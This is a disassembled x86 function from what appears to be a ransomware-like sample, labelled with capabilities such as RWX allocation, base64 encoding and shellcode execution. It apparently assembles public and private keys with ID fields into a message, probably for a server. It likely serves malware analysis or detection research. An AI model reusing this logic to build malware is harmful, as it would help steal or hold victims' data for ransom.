Function at 0x10005860
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
push esi
push edi
push ecx
push 1
push ecx
push 1
sub esp, 0xc
mov dword [esp + 0x28], ecx
mov ebx, edx
mov dword [esp + 0x40], ebx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
sub esp, 0xc
push 1
push ecx
push 1
lea ecx, [esp + 0x88]
call fcn.10003bc0
lea ecx, [esp + 0x30]
call fcn.10007490
lea ecx, [esp + 0x30]
call fcn.100072a0
mov esi, dword [ebp + 0xc]
mov edi, eax
add esi, ebx
push 0x40
push 0x3000
lea ebx, [esi + 8]
lea ebx, [edi + ebx*8]
shl ebx, 3
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x10], eax
lea ecx, [edi + esi*4]
lea ecx, [ecx*8 + 0x30]
test eax, eax
je 0x10005901
cmp ecx, ebx
jae 0x10005901
lea edi, [ecx + eax]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], edi
mov edx, ecx
jmp 0x10005907
mov dword [esp + 0x18], edx
mov edi, eax
cmp dword [esp + 0x2c], 0
mov eax, dword [ebp + 0xc]
lea eax, [eax*8 + 2]
je 0x1000592f
lea esi, [edx + eax]
cmp esi, ebx
jae 0x1000592f
mov ecx, edi
mov dword [esp + 0x1c], edi
add edi, eax
mov edx, esi
mov dword [esp + 0x10], edi
jmp 0x10005935
xor ecx, ecx
mov dword [esp + 0x1c], ecx
cmp dword [esp + 0x2c], 0
mov esi, dword [esp + 0x24]
je 0x1000594d
lea eax, [esi*8 + 2]
add eax, edx
cmp eax, ebx
jb 0x10005953
xor edi, edi
mov dword [esp + 0x10], edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
test ecx, ecx
je 0x10005d98
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
lea eax, [edx + edx]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
push ecx
push 0x40000001
push edx
push dword [ebp + 8]
call ebx
lea eax, [esi + esi]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x1c]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call ebx
push dword [esp + 0x1c]
mov esi, eax
call ebx
push 0x40
add eax, 0x42
push 0x3000
add esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x1c]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x10], 0
call ebx
mov edx, dword [esp + 0x24]
inc eax
test edx, edx
je 0x100059f5
cmp eax, esi
jae 0x100059f5
lea ecx, [edx + eax]
mov dword [esp + 0xc], eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], edx
jmp 0x100059fd
mov dword [esp + 0x14], 0
push edi
call ebx
inc eax
cmp dword [esp + 0x24], 0
je 0x10005a10
add eax, dword [esp + 0xc]
cmp eax, esi
jb 0x10005a18
mov dword [esp + 0x20], 0
push dword [esp + 0x1c]
xor esi, esi
call ebx
test eax, eax
je 0x10005a4e
mov edi, dword [esp + 0x14]
jmp 0x10005a30
mov ecx, dword [esp + 0x1c]
mov al, byte [esi + ecx]
cmp al, 0xa
je 0x10005a42
cmp al, 0xd
je 0x10005a42
mov byte [edi], al
inc edi
push ecx
inc esi
call ebx
cmp esi, eax
jb 0x10005a30
mov edi, dword [esp + 0x10]
push edi
xor esi, esi
call ebx
test eax, eax
je 0x10005a7e
mov ecx, dword [esp + 0x20]
mov dword [esp + 0xc], ecx
nop
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005a72
cmp al, 0xd
je 0x10005a72
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005a60
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.actioncall
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esp + 0x30]
lea esi, [esi + eax*2]
push esi
mov dword [esp + 0x14], esi
call fcn.100070a0
lea edx, [esp + 0x1c]
mov dword [esp + 0xc], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0
call fcn.100035c0
test eax, eax
jne 0x10005ad0
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.id
push esi
call edi
mov edi, dword [esp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.subid
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov esi, dword [esp + 0x1c]
push esi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x8000
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call edi
push 0x8000
push 0
push esi
call edi
mov esi, dword [esp + 0x10]
push str.pub_key
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call edi
push dword [esp + 0x14]
lea esi, [esi + eax*2]
call ebx
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x20]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, dword [esp + 0x10]
push str.priv_key
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call edi
mov edi, dword [esp + 0x20]
push edi
lea esi, [esi + eax*2]
call ebx
push eax
push esi
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.version2.3.1r
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call esi
mov edi, eax
push 0x40
shl edi, 4
push 0x3000
add edi, 0x12
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x18]
mov dword [esp + 0x14], eax
call esi
lea ecx, [eax*8 + 2]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10005bd3
cmp ecx, edi
jae 0x10005bd3
mov edi, eax
jmp 0x10005bd5
xor edi, edi
push dword [esp + 0x18]
call esi
mov ecx, dword [0x10012a78]
mov dword [esp + 0xc], eax
test ecx, ecx
je 0x10005bf7
push 0x8000
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 4
push 0x3000
push str.popkadurak
call esi
add eax, 2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10012a78], eax
test eax, eax
je 0x10005c2e
push str.popkadurak
push 0x1000fcb0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x18]
lea esi, [eax + eax]
mov edx, esi
call fcn.10005f00
mov ecx, dword [esp + 0xc]
lea eax, [ecx*8]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x28]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x10005c6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call ebx
push 0x40
push 0x3000
lea esi, [eax + 2]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [esp + 0x18], eax
call ebx
lea ecx, [eax + 1]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10005c9f
mov dword [esp + 0x20], eax
cmp ecx, esi
jb 0x10005ca7
mov dword [esp + 0x20], 0
push edi
xor esi, esi
call ebx
test eax, eax
je 0x10005cd6
mov ecx, dword [esp + 0x20]
mov dword [esp + 0xc], ecx
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005cca
cmp al, 0xd
je 0x10005cca
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005cb8
mov esi, dword [esp + 0x20]
push esi
call ebx
push eax
push dword [esp + 0x1c]
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
push ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x14], 0
mov ecx, esi
call fcn.100054f0
add esp, 8
test eax, eax
jne 0x10005d5c
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
mov eax, dword [esp + 0x1c]
push eax
call ebx
mov eax, dword [esp + 0x10]
push 0x8000
push 0
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x2c]
call ebx
push 0x8000
push 0
push dword [esp + 0x34]
call ebx
lea ecx, [esp + 0x30]
call fcn.10007d70
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x10005d69
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
mov eax, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push eax
call ebx
mov eax, dword [esp + 0x10]
push 0x8000
push 0
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x2c]
call ebx
push 0x8000
push 0
push dword [esp + 0x34]
call ebx
lea ecx, [esp + 0x30]
call fcn.10007d70
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret